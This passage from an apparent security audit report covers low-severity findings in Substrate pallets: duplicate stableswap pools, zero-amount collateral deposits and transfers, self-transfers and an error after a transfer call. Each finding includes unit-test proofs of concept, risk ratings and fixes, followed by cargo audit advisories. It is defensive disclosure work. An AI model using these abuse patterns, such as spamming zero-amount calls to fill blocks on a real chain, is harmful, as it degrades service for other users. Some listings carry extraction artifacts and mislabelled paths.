594     ensure!(total_fees < Permill::one(), Error::::InvalidFees);
595
596     let lp_token = T::CurrencyFactory::create(RangeId::LP_TOKENS)
597         ↳ ?;
598
599     // Add new pool
600     let pool_id =
601         PoolCount::::try_mutate(|pool_count| -> Result<T::
602         ↳ PoolId, DispatchError> {
603             let pool_id = *pool_count;
604             Pools::::insert(
605                 pool_id,
606                 ConstantProductPoolInfo {
607                     owner: who.clone(),
608                     pair,
609                     lp_token,
610                     fee,
611                     owner_fee,

```

```

609         },
610     );
611     *pool_count = pool_id.safe_add(&T::PoolId::one())?;
612     Ok(pool_id)
613 })?;
614
615     Self::deposit_event(Event::PoolCreated { pool_id, who: who.
↳ clone() });
616
617     Ok(pool_id)
618 }

```

### Proof Of Concept:

#### Listing 33

```

1 fn bad_pools() {
2     new_test_ext().execute_with(|| {
3
4         let pool_id1 = StableSwap::do_create_pool(
5             &ALICE,
6             CurrencyPair::new(USDT, USDC),
7             100_u16,
8             Permill::zero(),
9             Permill::zero(),
10        )
11        .expect("impossible; qed;");
12
13        let pool_id2 = StableSwap::do_create_pool(
14            &ALICE,
15            CurrencyPair::new(USDT, USDC),
16            100_u16,
17            Permill::zero(),
18            Permill::zero(),
19        )
20        .expect("impossible; qed;");
21
22        let pool1 = StableSwap::pools(pool_id1).expect("impossible
↳ ; qed;");
23        let pool2 = StableSwap::pools(pool_id2).expect("impossible
↳ ; qed;");
24

```

```
25         println!("pool1 {:?}",pool1);
26         println!("pool2 {:?}",pool2);
27
28     });
29 }
```

#### Risk Level:

**Likelihood - 2**

**Impact - 2**

#### Recommendation:

It is recommended that each pair of assets should have one pool, USDT/USDC, and USDC/USDT should be one pool as well.

### 3.14 (HAL-14) ZERO AMOUNT COLLATERAL DEPOSIT – LOW

#### Description:

Inside the `lending` pallet, the `deposit_collateral` function allows users to deposit zero collateral. Zero amount wrappings can be abused if someone constantly calls `deposit_collateral` with zero amount and fill the block space.

#### Code Location:

Listing 34: `frame/vesting/src/lib.rs`

```

1510     fn deposit_collateral(
1511         market_id: &Self::MarketId,
1512         account: &Self::AccountId,
1513         amount: CollateralLpAmountOf<Self>,
1514     ) -> Result<(), DispatchError> {
1515         let market = Self::get_market(market_id)?;
1516         let market_account = Self::account_id(market_id);
1517         ensure!(
1518             <T as Config>::MultiCurrency::can_withdraw(market.
1519             ↳ collateral, account, amount)
1520                 .into_result()
1521                 .is_ok(),
1522             Error::<T>::TransferFailed
1523         );
1524         ensure!(
1525             <T as Config>::MultiCurrency::can_deposit(
1526                 market.collateral,
1527                 &market_account,
1528                 amount
1529             ) == DepositConsequence::Success,
1530             Error::<T>::TransferFailed
1531         );
1532
1533         AccountCollateral::<T>::try_mutate(market_id, account,
1534         ↳ |collateral_balance| {

```

```

1534         let new_collateral_balance = collateral_balance
1535             .unwrap_or_default()
1536             .checked_add(&amount)
1537             .ok_or(Error::::::Overflow)?;
1538         collateral_balance.replace(new_collateral_balance)
1539     ↪ ;
1539
1540         Result::<(), Error<T>>::Ok(())
1541     }?;
1542     <T as Config>::MultiCurrency::transfer(
1543         market.collateral,
1544         account,
1545         &market_account,
1546         amount,
1547         true,
1548     )
1549     .expect("impossible; qed;");
1550     Ok(())
1551 }

```

#### Proof Of Concept:

##### Listing 35

```

1 fn zero_amount_collateral_deposit() {
2     new_test_ext().execute_with(|| {
3         System::set_block_number(1);
4         let (market_id, _vault_id) = create_simple_market();
5
6         let borrow_asset = BTC::ID;
7         let collateral_asset = USDT::ID;
8
9         let expected = 50_000 * USDT::one();
10        set_price(BTC::ID, expected);
11        set_price(USDT::ID, USDT::one());
12        let market_account = Lending::account_id(&market_id);
13    };
14
15    let collateral_amount = 0;
16    assert_ok!(Lending::deposit_collateral_internal(&market_id
17    ↪ , &BOB, collateral_amount));
18 }

```

19 }

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

It is recommended to add checks to ensure collateral value is bigger than 0.

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### 3.15 (HAL-15) MISSING ZERO VALUE CHECK - LOW

#### Description:

Inside `assets` pallet, the `transfer` and `transfer_native` functions does not check if the amount equal to zero. Zero amount of wrappings can be abused if someone constantly calls `transfer` or `transfer_native` with zero amount and fill the block space.

#### Code Location:

Listing 36: TODO

```

1 pub fn transfer(
2     origin: OriginFor<T>,
3     asset: T::AssetId,
4     dest: <T::Lookup as StaticLookup>::Source,
5     #[pallet::compact] amount: T::Balance,
6     keep_alive: bool,
7 ) -> DispatchResultWithPostInfo {
8     let src = ensure_signed(origin)?;
9     let dest = T::Lookup::lookup(dest)?;
10    <Self as Transfer<T::AccountId>>::transfer(asset, &src, &
11    dest, amount, keep_alive)?;
12    Ok(()).into()
13 }
14 pub fn transfer_native(
15     origin: OriginFor<T>,
16     dest: <T::Lookup as StaticLookup>::Source,
17     #[pallet::compact] value: T::Balance,
18     keep_alive: bool,
19 ) -> DispatchResultWithPostInfo {
20     let src = ensure_signed(origin)?;
21     let dest = T::Lookup::lookup(dest)?;
22     <Self as NativeTransfer<T::AccountId>>::transfer(&src, &
23     dest, value, keep_alive)?;
24     Ok(()).into()
25 }

```



## Proof Of Concept:

Listing 37

```
1 #[test]
2 fn zero_amount_transfer() {
3     new_test_ext().execute_with(|| {
4         Pallet::<Test>::transfer(
5             Origin::signed(FROM_ACCOUNT),
6             ASSET_ID,
7             TO_ACCOUNT,
8             0,
9             true,
10        )
11        .expect("transfer should work");
12        assert_eq!(
13            Pallet::<Test>::total_balance(ASSET_ID, &FROM_ACCOUNT)
14            ↵ ,
15            INIT_AMOUNT - 0
16        );
17        assert_eq!(
18            Pallet::<Test>::total_balance(ASSET_ID, &TO_ACCOUNT),
19            INIT_AMOUNT + 0
20        );
21    });
22 }
```

## Risk Level:

Likelihood - 2

Impact - 2

## Recommendation:

It is recommended to add zero amount checks to `transfer` and `transfer_native` functions.

## 3.16 (HAL-16) TRANSFER TO CALLER ACCOUNT - LOW

### Description:

Inside `assets` pallet, the `transfer` and the `transfer_native` functions, allows you to transfer to caller account itself.

### Code Location:

Listing 38: `frame/assets/src/lib.rs`

```
147 pub fn transfer(
148     origin: OriginFor<T>,
149     asset: T::AssetId,
150     dest: <T::Lookup as StaticLookup>::Source,
151     #[pallet::compact] amount: T::Balance,
152     keep_alive: bool,
153 ) -> DispatchResultWithPostInfo {
154     let src = ensure_signed(origin)?;
155     let dest = T::Lookup::lookup(dest)?;
156     <Self as Transfer<T::AccountId>>::transfer(asset, &src, &dest,
157         amount, keep_alive)?;
158     Ok(()).into()
```

Listing 39: `frame/assets/src/lib.rs` (Line 169)

```
169 pub fn transfer_native(
170     origin: OriginFor<T>,
171     dest: <T::Lookup as StaticLookup>::Source,
172     #[pallet::compact] value: T::Balance,
173     keep_alive: bool,
174 ) -> DispatchResultWithPostInfo {
175     let src = ensure_signed(origin)?;
176     let dest = T::Lookup::lookup(dest)?;
177     <Self as NativeTransfer<T::AccountId>>::transfer(&src, &dest,
178         value, keep_alive)?;
179     Ok(()).into()
```

## Proof Of Concept:

Listing 40

```
1 #[test]
2 fn same_account_transfer() {
3     new_test_ext().execute_with(|| {
4         Pallet::<Test>::transfer(
5             Origin::signed(FROM_ACCOUNT),
6             ASSET_ID,
7             FROM_ACCOUNT,
8             100,
9             true,
10        )
11        .expect("transfer should work");
12        assert_eq!(
13            Pallet::<Test>::total_balance(ASSET_ID, &FROM_ACCOUNT)
14            ↵ ,
15            INIT_AMOUNT
16        );
17    }
18 }
```

## Risk Level:

Likelihood - 2

Impact - 2

## Recommendation:

Consider adding checks to ensure the caller account is not identical to the destination.

### 3.17 (HAL-17) POSSIBLE ERROR AFTER CRITICAL FUNCTION – INFORMATIONAL

#### Description:

Inside `mosaic` pallet, the `transfer_to` function can throw an error at `safe_add` after calling the `transfer` function.

Since the function has the `#[transactional]` macro, the likelihood of error is low; hence this finding is only informational.

#### Code Location:

Listing 41: `frame/mosaic/src/lib.rs`

```

449 #[transactional]
450 pub fn transfer_to(
451     origin: OriginFor<T>,
452     network_id: NetworkIdOf<T>,
453     asset_id: AssetIdOf<T>,
454     address: EthereumAddress,
455     amount: BalanceOf<T>,
456     keep_alive: bool,
457 ) -> DispatchResultWithPostInfo {
458     let caller = ensure_signed(origin)?;
459     ensure!(AssetsInfo::::contains_key(asset_id), Error::::
↳ UnsupportedAsset);
460     let remote_asset_id = Self::get_remote_mapping(asset_id,
↳ network_id.clone())?;
461     let network_info =
462         NetworkInfos::::get(network_id.clone()).ok_or(Error::
↳ >::UnsupportedNetwork)?;
463     ensure!(network_info.enabled, Error::::NetworkDisabled);
464     ensure!(network_info.max_transfer_size >= amount, Error::::
↳ ExceedsMaxTransferSize);
465     ensure!(network_info.min_transfer_size <= amount, Error::::
↳ BelowMinTransferSize);
466
467     T::Assets::transfer(
468         asset_id,

```

```
469         &caller,
470         &Self::sub_account_id(SubAccount::new_outgoing(caller.
↳ clone()))),
471         amount,
472         keep_alive,
473     )?;
474     let now = <frame_system::Pallet<T>>::block_number();
475     let lock_until = now.safe_add(&TimeLockPeriod::<T>::get())?;
476
477     OutgoingTransactions::<T>::try_mutate(
478         caller.clone(),
479         asset_id,
480         |tx| -> Result<(), DispatchError> {
481             .....
```

#### Risk Level:

**Likelihood - 1**

**Impact - 1**

#### Recommendation:

It is recommended to ensure that no functions might fail after the critical calls to transfer, mint, burn, etc.



# AUTOMATED TESTING

## 4.1 AUTOMATED ANALYSIS

### Description:

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was `cargo audit`, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in <https://crates.io> are stored in a repository named The RustSec Advisory Database. `cargo audit` is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

### Results:

Crate: hyper

Version: 0.10.16

Title: Lenient hyper header parsing of Content-Length could allow request smuggling

Date: 2021-07-07

ID: RUSTSEC-2021-0078

URL: <https://rustsec.org/advisories/RUSTSEC-2021-0078>

Solution: Upgrade to >=0.14.10

Dependency tree:

hyper 0.10.16

Crate: hyper

Version: 0.10.16

Title: Integer overflow in hyper's parsing of the Transfer-Encoding header leads to data loss

Date: 2021-07-07

ID: RUSTSEC-2021-0079

URL: <https://rustsec.org/advisories/RUSTSEC-2021-0079>

Solution: Upgrade to `>=0.14.10`

Crate: `lru`

Version: `0.6.6`

Title: Use after free in `lru` crate

Date: 2021-12-21

ID: RUSTSEC-2021-0130

URL: <https://rustsec.org/advisories/RUSTSEC-2021-0130>

Solution: Upgrade to `>=0.7.1`

Dependency tree:

`lru 0.6.6`

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